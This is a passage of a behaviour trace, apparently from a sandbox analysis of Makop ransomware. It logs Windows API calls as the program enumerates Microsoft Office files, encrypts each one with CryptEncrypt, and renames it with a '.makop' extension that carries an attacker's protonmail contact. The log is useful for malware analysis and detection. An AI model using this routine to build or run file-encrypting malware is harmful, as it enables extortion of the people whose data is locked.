Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF") returned 70 [0165.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18201_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.978] GetProcessHeap () returned 0x48a0000 [0165.978] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.978] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.978] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.978] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.982] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.982] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.982] GetProcessHeap () returned 0x48a0000 [0165.982] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.982] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.982] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.982] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.982] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.982] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.983] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.983] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.983] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.983] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.983] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6ec, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x6ec, lpOverlapped=0x0) returned 1 [0165.983] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x6f0, dwBufLen=0x6f0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x6f0) returned 1 [0165.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.983] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x6f0, lpOverlapped=0x0) returned 1 [0165.984] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.984] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.984] SetEndOfFile (hFile=0x130) returned 1 [0165.990] GetProcessHeap () returned 0x48a0000 [0165.990] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.990] GetProcessHeap () returned 0x48a0000 [0165.990] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.990] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.990] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18201_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18201_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.992] CloseHandle (hObject=0x130) returned 1 [0165.992] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18202_.WMF", cAlternateFileName="")) returned 1 [0165.992] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF") returned 70 [0165.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.993] GetProcessHeap () returned 0x48a0000 [0165.993] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.993] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.993] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.993] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.997] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.998] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.998] GetProcessHeap () returned 0x48a0000 [0165.998] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.998] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.998] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.998] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.998] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.998] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.998] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.999] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.999] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.999] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.999] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x56c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x56c, lpOverlapped=0x0) returned 1 [0165.999] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x570, dwBufLen=0x570 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x570) returned 1 [0165.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.999] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x570, lpOverlapped=0x0) returned 1 [0165.999] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.000] SetEndOfFile (hFile=0x130) returned 1 [0166.005] GetProcessHeap () returned 0x48a0000 [0166.005] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.005] GetProcessHeap () returned 0x48a0000 [0166.006] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.006] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.006] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18202_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18202_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.007] CloseHandle (hObject=0x130) returned 1 [0166.007] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f586200, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f586200, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18203_.WMF", cAlternateFileName="")) returned 1 [0166.007] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF") returned 70 [0166.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18203_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.008] GetProcessHeap () returned 0x48a0000 [0166.008] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.009] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.009] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.009] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0166.013] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.013] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.013] GetProcessHeap () returned 0x48a0000 [0166.013] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.013] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.013] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.013] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.014] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.014] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.014] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.014] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.014] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.014] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.015] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x822, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x822, lpOverlapped=0x0) returned 1 [0166.015] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x830, dwBufLen=0x830 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x830) returned 1 [0166.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.015] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x830, lpOverlapped=0x0) returned 1 [0166.015] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.015] SetEndOfFile (hFile=0x130) returned 1 [0166.022] GetProcessHeap () returned 0x48a0000 [0166.022] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.022] GetProcessHeap () returned 0x48a0000 [0166.022] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.022] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.022] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18203_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18203_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.024] CloseHandle (hObject=0x130) returned 1 [0166.024] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7db3a00, ftCreationTime.dwHighDateTime=0x1bddcb2, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7db3a00, ftLastWriteTime.dwHighDateTime=0x1bddcb2, nFileSizeHigh=0x0, nFileSizeLow=0x814, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18204_.WMF", cAlternateFileName="")) returned 1 [0166.024] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF") returned 70 [0166.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.025] GetProcessHeap () returned 0x48a0000 [0166.025] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.025] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.025] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.025] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0166.029] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.029] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.029] GetProcessHeap () returned 0x48a0000 [0166.029] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.029] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.029] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.029] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.030] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.030] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.030] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.030] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.030] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.030] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.030] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x814, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x814, lpOverlapped=0x0) returned 1 [0166.031] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x820, dwBufLen=0x820 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x820) returned 1 [0166.031] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.031] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x820, lpOverlapped=0x0) returned 1 [0166.031] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.031] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.031] SetEndOfFile (hFile=0x130) returned 1 [0166.036] GetProcessHeap () returned 0x48a0000 [0166.036] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.037] GetProcessHeap () returned 0x48a0000 [0166.037] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.037] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.037] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18204_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18204_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.038] CloseHandle (hObject=0x130) returned 1 [0166.038] FindNextFileW (in: hFindFile=0x48c7128, 